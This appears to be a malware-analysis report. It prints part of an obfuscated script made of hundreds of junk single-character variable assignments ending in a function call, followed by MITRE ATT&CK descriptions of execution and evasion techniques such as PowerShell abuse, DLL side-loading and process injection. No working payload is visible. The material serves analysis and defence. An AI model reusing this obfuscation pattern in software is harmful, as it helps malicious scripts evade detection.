459	yibsss = "Y";
460	yibsss = "R";
461	yibsss = "d";
462	yibsss = "o";
463	yibsss = "K";
464	yibsss = "d";
465	yibsss = "R";
466	yibsss = "j";
467	yibsss = "8";
468	czudywl = "V";
469	czudywl = "W";
470	orymdup = "j";
471	orymdup = "T";
472	orymdup = "v";
473	orymdup = "t";
474	orymdup = "v";
475	orymdup = "y";
476	orymdup = "T";
477	orymdup = "A";
478	orymdup = "j";
479	orymdup = "M";
480	orymdup = "O";
481	orymdup = "G";
482	orymdup = "j";
483	qzgihnkyv = "E";
484	qzgihnkyv = "d";
485	qzgihnkyv = "x";
486	qzgihnkyv = "z";
487	qzgihnkyv = "w";
488	qzgihnkyv = "b";
489	qzgihnkyv = "K";
490	qzgihnkyv = "B";
491	qzgihnkyv = "P";
492	qzgihnkyv = "X";
493	qzgihnkyv = "X";
494	qzgihnkyv = "O";
495	qzgihnkyv = "G";
496	qzgihnkyv = "X";
497	qzgihnkyv = "f";
498	qzgihnkyv = "m";
499	qzgihnkyv = "o";
500	qzgihnkyv = "R";
501	qzgihnkyv = "S";
502	qzgihnkyv = "o";
503	qzgihnkyv = "Z";
504	qzgihnkyv = "C";
505	qzgihnkyv = "w";
506	qzgihnkyv = "J";
507	qzgihnkyv = "P";
508	qzgihnkyv = "P";
509	qzgihnkyv = "t";
510	qzgihnkyv = "P";
511	qzgihnkyv = "z";
512	qzgihnkyv = "D";
513	qzgihnkyv = "f";
514	qzgihnkyv = "s";
515	qzgihnkyv = "X";
516	qzgihnkyv = ":";
517	snjixyvxt = "M";
518	snjixyvxt = "b";
519	snjixyvxt = "V";
520	snjixyvxt = "I";
521	snjixyvxt = "Y";
522	snjixyvxt = "A";
523	snjixyvxt = "z";
524	snjixyvxt = "Z";
525	snjixyvxt = "S";
526	snjixyvxt = "G";
527	snjixyvxt = "y";
528	snjixyvxt = "B";
529	snjixyvxt = "P";
530	snjixyvxt = "s";
531	slotyclg = "b";
532	tlnagrhsa = "Z";
533	tlnagrhsa = "o";
534	tlnagrhsa = "d";
535	tlnagrhsa = "G";
536	tlnagrhsa = "g";
537	tlnagrhsa = "f";
538	tlnagrhsa = "A";
539	tlnagrhsa = "t";
540	tlnagrhsa = "Q";
541	tlnagrhsa = "w";
542	tlnagrhsa = "g";
543	tlnagrhsa = "g";
544	tlnagrhsa = "S";
545	tlnagrhsa = "a";
546	tlnagrhsa = "f";
547	tlnagrhsa = "V";
548	tlnagrhsa = "U";
549	tlnagrhsa = "F";
550	tlnagrhsa = "r";
551	tlnagrhsa = "&";
552	vcltiehpb = "h";
553	vcltiehpb = "k";
554	vcltiehpb = "R";
555	vcltiehpb = "F";
556	vcltiehpb = "j";
557	vcltiehpb = "J";
558	vcltiehpb = "T";
559	vcltiehpb = "V";
560	vcltiehpb = "T";
561	vcltiehpb = "j";
562	vcltiehpb = "Y";
563	vcltiehpb = "V";
564	vcltiehpb = "Y";
565	vcltiehpb = "C";
566	vcltiehpb = "Z";
567	vcltiehpb = "P";
568	vcltiehpb = "o";
569	vcltiehpb = "M";
570	vcltiehpb = "N";
571	vcltiehpb = "A";
572	vcltiehpb = "y";
573	vcltiehpb = "T";
574	vcltiehpb = "E";
575	vcltiehpb = "L";
576	vcltiehpb = "r";
577	vcltiehpb = "U";
578	vcltiehpb = "g";
579	vcltiehpb = "j";
580	vcltiehpb = "e";
581	vcltiehpb = "L";
582	vcltiehpb = "t";
583	vcltiehpb = "w";
584	vcltiehpb = "r";
585	vcltiehpb = "d";
586	vcltiehpb = "Y";
587	vcltiehpb = "D";
588	vcltiehpb = "b";
589	vcltiehpb = "t";
590	vcltiehpb = "S";
591	vcltiehpb = "D";
592	vcltiehpb = "N";
593	vcltiehpb = "I";
594	vcltiehpb = ".";
595	xqalpgjg = "i";
596	xqalpgjg = "s";
597	xqalpgjg = "h";
598	xqalpgjg = "L";
599	xqalpgjg = "b";
600	xqalpgjg = "f";
601	xqalpgjg = "E";
602	xqalpgjg = "z";
603	xqalpgjg = "f";
604	xqalpgjg = "H";
605	xqalpgjg = "r";
606	xqalpgjg = "Z";
607	xqalpgjg = "s";
608	xqalpgjg = "m";
609	xqalpgjg = "K";
610	xqalpgjg = "s";
611	xqalpgjg = "L";
612	xqalpgjg = "x";
613	xqalpgjg = "K";
614	xqalpgjg = "x";
615	gruzrqv = "F";
616	gruzrqv = "R";
617	gruzrqv = "L";
618	gruzrqv = "c";
619	gruzrqv = "I";
620	gruzrqv = "t";
621	gruzrqv = "y";
622	gruzrqv = "p";
623	gruzrqv = "u";
624	gruzrqv = "n";
625	gruzrqv = "M";
626	gruzrqv = "H";
627	gruzrqv = "I";
628	gruzrqv = "k";
629	gruzrqv = "V";
630	gruzrqv = "j";
631	gruzrqv = "Z";
632	gruzrqv = "Q";
633	gruzrqv = "a";
634	gruzrqv = "l";
635	gruzrqv = "p";
636	gruzrqv = "p";
637	gruzrqv = "V";
638	gruzrqv = "Z";
639	gruzrqv = "p";
640	gruzrqv = "g";
641	gruzrqv = "U";
642	gruzrqv = "A";
643	gruzrqv = "U";
644	gruzrqv = "C";
645	gruzrqv = "q";
646	gruzrqv = "L";
647	bdplvz = "n";
648	bdplvz = "v";
649	bdplvz = "O";
650	bdplvz = "I";
651	bdplvz = "h";
652	bdplvz = "k";
653	bdplvz = "i";
654	bdplvz = "q";
655	bdplvz = "t";
656	bdplvz = "J";
657	bdplvz = "P";
658	bdplvz = "X";
659	bdplvz = "z";
660	bdplvz = "V";
661	bdplvz = "F";
662	bdplvz = "l";
663	bdplvz = "k";
664	bdplvz = "d";
665	bdplvz = "u";
666	bdplvz = "q";
667	bdplvz = "E";
668	bdplvz = "L";
669	bdplvz = "p";
670	bdplvz = "l";
671	bdplvz = "w";
672	bdplvz = "A";
673	bdplvz = "/";
674	awzznyhc = "f";
675	awzznyhc = "B";
676	awzznyhc = "M";
677	awzznyhc = "y";
678	awzznyhc = "a";
679	awzznyhc = "q";
680	awzznyhc = "z";
681	awzznyhc = "M";
682	awzznyhc = "j";
683	awzznyhc = "u";
684	awzznyhc = "y";
685	awzznyhc = "i";
686	awzznyhc = "h";
687	awzznyhc = "D";
688	awzznyhc = "D";
689	awzznyhc = "f";
690	awzznyhc = "Q";
691	awzznyhc = "d";
692	awzznyhc = "F";
693	awzznyhc = "g";
694	awzznyhc = "n";
695	awzznyhc = "O";
696	awzznyhc = "n";
697	ymfvw = "v";
698	ymfvw = "W";
699	ymfvw = "e";
700	ymfvw = "I";
701	ymfvw = "c";
702	ymfvw = "Y";
703	ymfvw = "E";
704	ymfvw = "o";
705	ymfvw = "O";
706	ymfvw = "O";
707	ymfvw = "l";
708	ymfvw = "y";
709	ymfvw = "s";
710	ymfvw = "N";
711	ymfvw = "Q";
712	ymfvw = "F";
713	ymfvw = "G";
714	ymfvw = "C";
715	ymfvw = "V";
716	ymfvw = "h";
717	ymfvw = "C";
718	rimdta = "s";
719	rimdta = "z";
720	rimdta = "h";
721	rimdta = "g";
722	rimdta = "I";
723	rimdta = "E";
724	rimdta = "L";
725	rimdta = "N";
726	rimdta = "j";
727	rimdta = "v";
728	rimdta = "Z";
729	rimdta = "\"";
730	mnxnlqsg = "S";
731	mnxnlqsg = "G";
732	mnxnlqsg = "z";
733	mnxnlqsg = "n";
734	mnxnlqsg = "a";
735	mnxnlqsg = "T";
736	mnxnlqsg = "v";
737	mnxnlqsg = "C";
738	mnxnlqsg = "W";
739	mnxnlqsg = "y";
740	mnxnlqsg = "F";
741	mnxnlqsg = "N";
742	mnxnlqsg = "E";
743	mnxnlqsg = "L";
744	mnxnlqsg = "S";
745	mnxnlqsg = "B";
746	mnxnlqsg = "Q";
747	mnxnlqsg = "j";
748	mnxnlqsg = "h";
749	mnxnlqsg = "J";
750	mnxnlqsg = "G";
751	mnxnlqsg = "c";
752	mnxnlqsg = "l";
753	mnxnlqsg = "c";
754	mnxnlqsg = "b";
755	mnxnlqsg = "Z";
756	mnxnlqsg = "z";
757	mnxnlqsg = "Q";
758	mnxnlqsg = "J";
759	mnxnlqsg = "J";
760	mnxnlqsg = "Q";
761	mnxnlqsg = "Y";
762	mnxnlqsg = "g";
763	mnxnlqsg = "U";
764	mnxnlqsg = "o";
765	mnxnlqsg = "A";
766	mnxnlqsg = "W";
767	mnxnlqsg = "n";
768	mnxnlqsg = "X";
769	mnxnlqsg = "O";
770	mnxnlqsg = "b";
771	mnxnlqsg = "q";
772	mnxnlqsg = "Z";
773	mnxnlqsg = "O";
774	mnxnlqsg = "K";
775	biqvyugwm = "J";
776	biqvyugwm = "P";
777	biqvyugwm = "U";
778	biqvyugwm = "w";
779	biqvyugwm = "w";
780	biqvyugwm = "x";
781	biqvyugwm = "I";
782	jayjxqj = "C";
783	jayjxqj = "f";
784	jayjxqj = "u";
785	jayjxqj = "S";
786	jayjxqj = "u";
787	jayjxqj = "Q";
788	jayjxqj = "O";
789	jayjxqj = "V";
790	jayjxqj = "o";
791	jayjxqj = "m";
792	jayjxqj = "V";
793	jayjxqj = "M";
794	jayjxqj = "t";
795	jayjxqj = "u";
796	jayjxqj = "q";
797	jayjxqj = "@";
798	bbdidacm = "L";
799	bbdidacm = "u";
800	bbdidacm = "T";
801	bbdidacm = "q";
802	bbdidacm = "M";
803	bbdidacm = "W";
804	bbdidacm = "C";
805	bbdidacm = "A";
806	bbdidacm = "h";
807	bbdidacm = "Q";
808	bbdidacm = "m";
809	bbdidacm = "f";
810	bbdidacm = "J";
811	bbdidacm = "w";
812	bbdidacm = "I";
813	bbdidacm = "i";
814	bbdidacm = "Y";
815	bbdidacm = "S";
816	bbdidacm = "T";
817	iexfyhioj = "S";
818	iexfyhioj = "D";
819	iexfyhioj = "a";
820	iexfyhioj = "n";
821	iexfyhioj = "D";
822	iexfyhioj = "r";
823	iexfyhioj = "I";
824	iexfyhioj = "K";
825	iexfyhioj = "u";
826	iexfyhioj = "R";
827	iexfyhioj = "Y";
828	iexfyhioj = "m";
829	iexfyhioj = "q";
830	iexfyhioj = "z";
831	iexfyhioj = "r";
832	iexfyhioj = "Z";
833	iexfyhioj = "Q";
834	iexfyhioj = "s";
835	iexfyhioj = "A";
836	iexfyhioj = "y";
837	iexfyhioj = "N";
838	iexfyhioj = "V";
839	iexfyhioj = "l";
840	iexfyhioj = "H";
841	iexfyhioj = "t";
842	iexfyhioj = "H";
843	hcwna = "F";
844	hcwna = "B";
845	hcwna = "a";
846	hcwna = "f";
847	hcwna = "q";
848	hcwna = "j";
849	hcwna = "r";
850	hcwna = "m";
851	hcwna = "g";
852	hcwna = "d";
853	hcwna = "f";
854	hcwna = "d";
855	hcwna = "q";
856	hcwna = "N";
857	hcwna = "R";
858	hcwna = "T";
859	hcwna = "g";
860	hcwna = "g";
861	hcwna = "\\";
862	tqzlkprts = "M";
863	tqzlkprts = "X";
864	tqzlkprts = "H";
865	tqzlkprts = "c";
866	tqzlkprts = "c";
867	tqzlkprts = "D";
868	tqzlkprts = "w";
869	tqzlkprts = "d";
870	tqzlkprts = "v";
871	tqzlkprts = "J";
872	tqzlkprts = "b";
873	tqzlkprts = "m";
874	tqzlkprts = "J";
875	tqzlkprts = "b";
876	tqzlkprts = "4";
877	gjrqkicz = "n";
878	gjrqkicz = "X";
879	gjrqkicz = "C";
880	gjrqkicz = "a";
881	gjrqkicz = "p";
882	gjrqkicz = "T";
883	gjrqkicz = "F";
884	gjrqkicz = "G";
885	gjrqkicz = "h";
886	gjrqkicz = "C";
887	gjrqkicz = "P";
888	gjrqkicz = "E";
889	gjrqkicz = "c";
890	gjrqkicz = "c";
891	gjrqkicz = "k";
892	gjrqkicz = "j";
893	gjrqkicz = "X";
894	gjrqkicz = "p";
895	gjrqkicz = "z";
896	gjrqkicz = "P";
897	gjrqkicz = "l";
898	gjrqkicz = "s";
899	gjrqkicz = "m";
900	gjrqkicz = "G";
901	gjrqkicz = "T";
902	gjrqkicz = "U";
903	gjrqkicz = "k";
904	gjrqkicz = "R";
905	gjrqkicz = "G";
906	gjrqkicz = "N";
907	gjrqkicz = "Q";
908	gjrqkicz = "S";
909	gjrqkicz = "j";
910	gjrqkicz = "F";
911	iljdrjok = "D";
912	iljdrjok = "g";
913	iljdrjok = "C";
914	iljdrjok = "y";
915	iljdrjok = "B";
916	iljdrjok = "k";
917	iljdrjok = "x";
918	iljdrjok = "O";
919	iljdrjok = "K";
920	iljdrjok = "R";
921	iljdrjok = "D";
922	iljdrjok = "W";
923	iljdrjok = "V";
924	iljdrjok = "V";
925	iljdrjok = "o";
926	iljdrjok = "C";
927	iljdrjok = "d";
928	iljdrjok = "N";
929	iljdrjok = "v";
930	iljdrjok = "h";
931	iljdrjok = "H";
932	iljdrjok = "J";
933	iljdrjok = "A";
934	iljdrjok = "d";
935	iljdrjok = "w";
936	iljdrjok = "d";
937	iljdrjok = "j";
938	iljdrjok = "e";
939	iljdrjok = "I";
940	iljdrjok = "O";
941	iljdrjok = "R";
942	iljdrjok = "m";
943	iljdrjok = "b";
944	iljdrjok = "l";
945	iljdrjok = "l";
946	iljdrjok = "M";
947	iljdrjok = "T";
948	iljdrjok = "s";
949	iljdrjok = "G";
950	iljdrjok = "m";
951	etuoidip = "U";
952	etuoidip = "k";
953	etuoidip = "D";
954	etuoidip = "O";
955	etuoidip = "x";
956	etuoidip = "O";
957	etuoidip = "e";
958	etuoidip = "U";
959	etuoidip = "u";
960	etuoidip = "p";
961	etuoidip = "E";
962	etuoidip = "C";
963	etuoidip = "u";
964	etuoidip = "u";
965	etuoidip = "k";
966	etuoidip = "U";
967	etuoidip = "F";
968	etuoidip = "w";
969	etuoidip = "o";
970	etuoidip = "Z";
971	etuoidip = "w";
972	etuoidip = "j";
973	etuoidip = "W";
974	etuoidip = "Y";
975	etuoidip = "r";
976	etuoidip = "V";
977	etuoidip = "W";
978	etuoidip = "5";
979	ksqkpe = "P";
980	ksqkpe = "g";
981	ksqkpe = "y";
982	ksqkpe = "C";
983	ksqkpe = "l";
984	ksqkpe = "a";
985	ksqkpe = "H";
986	ksqkpe = "F";
987	ksqkpe = "C";
988	ksqkpe = "j";
989	ksqkpe = "W";
990	ksqkpe = "c";
991	ksqkpe = "y";
992	ksqkpe = "h";
993	ksqkpe = "n";
994	ksqkpe = "6";
995	fhnaypew = "X";
996	fhnaypew = "O";
997	fhnaypew = "a";
998	fhnaypew = "v";
999	fhnaypew = "A";
1000	fhnaypew = "y";
1001	fhnaypew = "G";
1002	fhnaypew = "N";
1003	fhnaypew = "j";
1004	fhnaypew = "o";
1005	fhnaypew = "A";
1006	fhnaypew = "P";
1007	fhnaypew = "L";
1008	fhnaypew = "T";
1009	fhnaypew = "c";
1010	fhnaypew = "P";
1011	fhnaypew = "S";
1012	fhnaypew = "D";
1013	fhnaypew = "M";
1014	fhnaypew = "G";
1015	fhnaypew = "W";
1016	fhnaypew = "R";
1017	fhnaypew = "y";
1018	fhnaypew = "z";
1019	fhnaypew = "V";
1020	fhnaypew = "q";
1021	qnuhq = "V";
1022	qnuhq = "S";
1023	qnuhq = "t";
1024	qnuhq = "j";
1025	qnuhq = "a";
1026	qnuhq = "g";
1027	qnuhq = "H";
1028	qnuhq = "e";
1029	qnuhq = "T";
1030	qnuhq = "K";
1031	qnuhq = "o";
1032	qnuhq = "e";
1033	qnuhq = "3";
1034	akhoc = "s";
1035	akhoc = "u";
1036	akhoc = "Y";
1037	akhoc = "P";
1038	akhoc = "p";
1039	akhoc = "l";
1040	akhoc = "n";
1041	akhoc = "j";
1042	akhoc = "d";
1043	akhoc = "n";
1044	akhoc = "t";
1045	akhoc = "u";
1046	akhoc = "c";
1047	akhoc = "v";
1048	akhoc = "t";
1049	akhoc = "e";
1050	akhoc = "V";
1051	akhoc = "K";
1052	akhoc = "y";
1053	akhoc = "v";
1054	akhoc = "T";
1055	akhoc = "s";
1056	akhoc = "W";
1057	akhoc = "x";
1058	akhoc = "Z";
1059	akhoc = "r";
1060	akhoc = "O";
1061	akhoc = "t";
1062	akhoc = "f";
1063	akhoc = "r";
1064	akhoc = "z";
1065	akhoc = "E";
1066	akhoc = "o";
1067	akhoc = "R";
1068	akhoc = "D";
1069	akhoc = "R";
1070	akhoc = "l";
1071	akhoc = "k";
1072	akhoc = "l";
1073	akhoc = "I";
1074	akhoc = "d";
1075	akhoc = "q";
1076	akhoc = "r";
1077	akhoc = "P";
1078	ipbzyml = "W";
1079	ipbzyml = "I";
1080	ipbzyml = "p";
1081	ipbzyml = "c";
1082	ipbzyml = "W";
1083	ipbzyml = "A";
1084	ipbzyml = "a";
1085	ipbzyml = "V";
1086	ipbzyml = "k";
1087	ipbzyml = "s";
1088	ipbzyml = "x";
1089	ipbzyml = "Q";
1090	ipbzyml = "K";
1091	ipbzyml = "e";
1092	ipbzyml = "d";
1093	ipbzyml = "A";
1094	ipbzyml = "K";
1095	ipbzyml = "h";
1096	ipbzyml = "w";
1097	ipbzyml = "u";
1098	ipbzyml = "G";
1099	ipbzyml = "Q";
1100	ipbzyml = "C";
1101	ipbzyml = "O";
1102	ipbzyml = "N";
1103	ipbzyml = "W";
1104	ipbzyml = "b";
1105	ipbzyml = "g";
1106	ipbzyml = "j";
1107	ipbzyml = "x";
1108	ipbzyml = "F";
1109	ipbzyml = "X";
1110	ipbzyml = "I";
1111	ipbzyml = "f";
1112	jnhozdj = "w";
1113	jnhozdj = "p";
1114	jnhozdj = "F";
1115	jnhozdj = "q";
1116	jnhozdj = "h";
1117	jnhozdj = "v";
1118	jnhozdj = "w";
1119	jnhozdj = "m";
1120	jnhozdj = "a";
1121	jnhozdj = "c";
1122	jnhozdj = "G";
1123	jnhozdj = "T";
1124	jnhozdj = "x";
1125	jnhozdj = "R";
1126	jnhozdj = "R";
1127	jnhozdj = "K";
1128	jnhozdj = "W";
1129	jnhozdj = "X";
1130	jnhozdj = "D";
1131	jnhozdj = "O";
1132	jnhozdj = "P";
1133	jnhozdj = "t";
1134	jnhozdj = "f";
1135	jnhozdj = "G";
1136	jnhozdj = "u";
1137	jnhozdj = "V";
1138	jnhozdj = "i";
1139	jnhozdj = "g";
1140	jnhozdj = "R";
1141	jnhozdj = "Z";
1142	jnhozdj = "Y";
1143	jnhozdj = "E";
1144	jnhozdj = "v";
1145	jnhozdj = "r";
1146	jnhozdj = "U";
1147	jnhozdj = "n";
1148	jnhozdj = "c";
1149	jnhozdj = "i";
1150	tsvbyj = "H";
1151	tsvbyj = "s";
1152	tsvbyj = "U";
1153	tsvbyj = "g";
1154	hzqzg = "c";
1155	hzqzg = "p";
1156	hzqzg = "m";
1157	hzqzg = "W";
1158	hzqzg = "i";
1159	hzqzg = "y";
1160	hzqzg = "V";
1161	hzqzg = "Q";
1162	hzqzg = "G";
1163	hzqzg = "J";
1164	hzqzg = "x";
1165	hzqzg = "m";
1166	hzqzg = "A";
1167	hzqzg = "h";
1168	hzqzg = "Y";
1169	hzqzg = "1";
1170	ykbrtwmo = "f";
1171	ykbrtwmo = "L";
1172	ykbrtwmo = "q";
1173	ykbrtwmo = "V";
1174	ykbrtwmo = "p";
1175	ykbrtwmo = "Q";
1176	ykbrtwmo = "l";
1177	ykbrtwmo = "c";
1178	ykbrtwmo = "m";
1179	ykbrtwmo = "D";
1180	ykbrtwmo = "c";
1181	ykbrtwmo = "D";
1182	ykbrtwmo = "T";
1183	ykbrtwmo = "D";
1184	ykbrtwmo = "L";
1185	ykbrtwmo = "q";
1186	ykbrtwmo = "g";
1187	ykbrtwmo = "P";
1188	ykbrtwmo = "N";
1189	ykbrtwmo = "T";
1190	ykbrtwmo = "R";
1191	ykbrtwmo = "r";
1192	ykbrtwmo = "A";
1193	ykbrtwmo = "D";
1194	ykbrtwmo = "9";
1195	cgatms = "j";
1196	cgatms = "j";
1197	cgatms = "y";
1198	cgatms = "l";
1199	cgatms = "q";
1200	cgatms = "m";
1201	cgatms = "E";
1202	cgatms = "O";
1203	cgatms = "j";
1204	cgatms = "_";
1205	fnbsojyi = "W";
1206	fnbsojyi = "d";
1207	fnbsojyi = "H";
1208	fnbsojyi = "S";
1209	fnbsojyi = "i";
1210	fnbsojyi = "P";
1211	fnbsojyi = "D";
1212	fnbsojyi = "Q";
1213	fnbsojyi = "E";
1214	fnbsojyi = "c";
1215	fnbsojyi = "r";
1216	fnbsojyi = "U";
1217	fnbsojyi = "Q";
1218	fnbsojyi = "K";
1219	fnbsojyi = "v";
1220	fnbsojyi = "P";
1221	fnbsojyi = "U";
1222	fnbsojyi = "f";
1223	fnbsojyi = "J";
1224	fnbsojyi = "p";
1225	fnbsojyi = "v";
1226	fnbsojyi = "i";
1227	fnbsojyi = "a";
1228	hjgec = "E";
1229	hjgec = "m";
1230	hjgec = "r";
1231	hjgec = "D";
1232	hjgec = "t";
1233	hjgec = "b";
1234	hjgec = "r";
1235	hjgec = "H";
1236	hjgec = "W";
1237	hjgec = "V";
1238	hjgec = "s";
1239	hjgec = "d";
1240	hjgec = "K";
1241	hjgec = "A";
1242	hjgec = "F";
1243	hjgec = "e";
1244	hjgec = "m";
1245	hjgec = "Z";
1246	hjgec = "u";
1247	hjgec = "Q";
1248	hjgec = "V";
1249	hjgec = "e";
1250	hjgec = "g";
1251	hjgec = "C";
1252	hjgec = "t";
1253	hjgec = "H";
1254	hjgec = "I";
1255	hjgec = "7";
1256	jztezhxcy = "0";
1257	zbinvy = "G";
1258	zbinvy = "Q";
1259	zbinvy = "Y";
1260	zbinvy = "i";
1261	zbinvy = "w";
1262	zbinvy = "p";
1263	zbinvy = "K";
1264	zbinvy = "E";
1265	zbinvy = "b";
1266	zbinvy = "L";
1267	zbinvy = "e";
1268	zbinvy = "R";
1269	zbinvy = "P";
1270	zbinvy = "l";
1271	zbinvy = "A";
1272	zbinvy = "h";
1273	zbinvy = "L";
1274	zbinvy = "K";
1275	zbinvy = "u";
1276	zbinvy = "x";
1277	zbinvy = "A";
1278	zbinvy = "E";
1279	zbinvy = "h";
1280	zbinvy = "j";
1281	zbinvy = "V";
1282	zbinvy = "E";
1283	zbinvy = "R";
1284	zbinvy = "H";
1285	zbinvy = "H";
1286	zbinvy = "G";
1287	zbinvy = "U";
1288	zbinvy = "c";
1289	zbinvy = "2";
1290	gplfqvp = "V";
1291	gplfqvp = "Y";
1292	gplfqvp = "J";
1293	gplfqvp = "k";
1294	gplfqvp = "g";
1295	gplfqvp = "X";
1296	gplfqvp = "F";
1297	gplfqvp = "k";
1298	gplfqvp = "E";
1299	gplfqvp = "b";
1300	gplfqvp = "U";
1301	gplfqvp = "s";
1302	gplfqvp = "T";
1303	gplfqvp = "P";
1304	gplfqvp = "n";
1305	gplfqvp = "A";
1306	gplfqvp = "I";
1307	gplfqvp = "j";
1308	gplfqvp = "U";
1309	gplfqvp = "t";
1310	gplfqvp = "b";
1311	gplfqvp = "o";
1312	gplfqvp = "N";
1313	gplfqvp = "f";
1314	gplfqvp = "I";
1315	gplfqvp = "x";
1316	gplfqvp = "m";
1317	gplfqvp = "g";
1318	gplfqvp = "%";
1319	fesfeyr = "a";
1320	fesfeyr = "f";
1321	fesfeyr = "a";
1322	fesfeyr = "r";
1323	fesfeyr = "d";
1324	fesfeyr = "y";
1325	fesfeyr = "o";
1326	fesfeyr = "L";
1327	fesfeyr = "h";
1328	fesfeyr = "Y";
1329	afosumezx = "N";
1330	afosumezx = "Z";
1331	afosumezx = "w";
1332	vdjczx = "x";
1333	vdjczx = "p";
1334	vdjczx = "t";
1335	vdjczx = "y";
1336	vdjczx = "q";
1337	vdjczx = "Q";
1338	vdjczx = "G";
1339	vdjczx = "h";
1340	vdjczx = "Y";
1341	vdjczx = "h";
1342	vdjczx = "a";
1343	vdjczx = "s";
1344	vdjczx = "I";
1345	vdjczx = "B";
1346	vdjczx = "w";
1347	vdjczx = "C";
1348	vdjczx = "S";
1349	vdjczx = "X";
1350	vdjczx = "l";
1351	vdjczx = "b";
1352	vdjczx = "v";
1353	vdjczx = "r";
1354	vdjczx = "T";
1355	vdjczx = "d";
1356	vdjczx = "d";
1357	vdjczx = "a";
1358	vdjczx = "Z";
1359	vdjczx = "r";
1360	vdjczx = "F";
1361	vdjczx = "u";
1362	qufnzfu = "t";
1363	qufnzfu = "Z";
1364	qufnzfu = "Y";
1365	qufnzfu = "n";
1366	qufnzfu = "l";
1367	qufnzfu = "o";
1368	qufnzfu = "p";
1369	qufnzfu = "P";
1370	qufnzfu = "W";
1371	qufnzfu = "v";
1372	qufnzfu = "f";
1373	qufnzfu = "A";
1374	qufnzfu = "J";
1375	qufnzfu = "J";
1376	qufnzfu = "F";
1377	qufnzfu = "s";
1378	qufnzfu = "u";
1379	qufnzfu = "i";
1380	qufnzfu = "x";
1381	qufnzfu = "h";
1382	qufnzfu = "u";
1383	qufnzfu = "N";
1384	qufnzfu = "w";
1385	qufnzfu = "c";
1386	qufnzfu = "C";
1387	qufnzfu = "N";
1388	qufnzfu = "C";
1389	qufnzfu = "o";
1390	qufnzfu = "V";
1391	qufnzfu = "s";
1392	qufnzfu = "g";
1393	qufnzfu = "v";
1394	qufnzfu = "y";
1395	qufnzfu = "h";
1396	qufnzfu = "R";
1397	qufnzfu = "O";
1398	qufnzfu = "n";
1399	qufnzfu = "q";
1400	qufnzfu = "I";
1401	qufnzfu = "q";
1402	qufnzfu = "l";
1403	bahpkfqn = "q";
1404	bahpkfqn = "R";
1405	bahpkfqn = "q";
1406	bahpkfqn = "r";
1407	bahpkfqn = "b";
1408	bahpkfqn = "W";
1409	bahpkfqn = "Y";
1410	bahpkfqn = "R";
1411	bahpkfqn = "w";
1412	bahpkfqn = "p";
1413	bahpkfqn = "A";
1414	bahpkfqn = "G";
1415	bahpkfqn = "F";
1416	bahpkfqn = "Z";
1417	bahpkfqn = "d";
1418	bahpkfqn = "W";
1419	bahpkfqn = "k";
1420	bahpkfqn = "p";
1421	bahpkfqn = "N";
1422	bahpkfqn = "P";
1423	bahpkfqn = "h";
1424	bahpkfqn = "U";
1425	bahpkfqn = "i";
1426	bahpkfqn = "g";
1427	bahpkfqn = "U";
1428	bahpkfqn = "G";
1429	bahpkfqn = "v";
1430	bahpkfqn = "A";
1431	bahpkfqn = "r";
1432	kulmgz ( );	kulmgz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
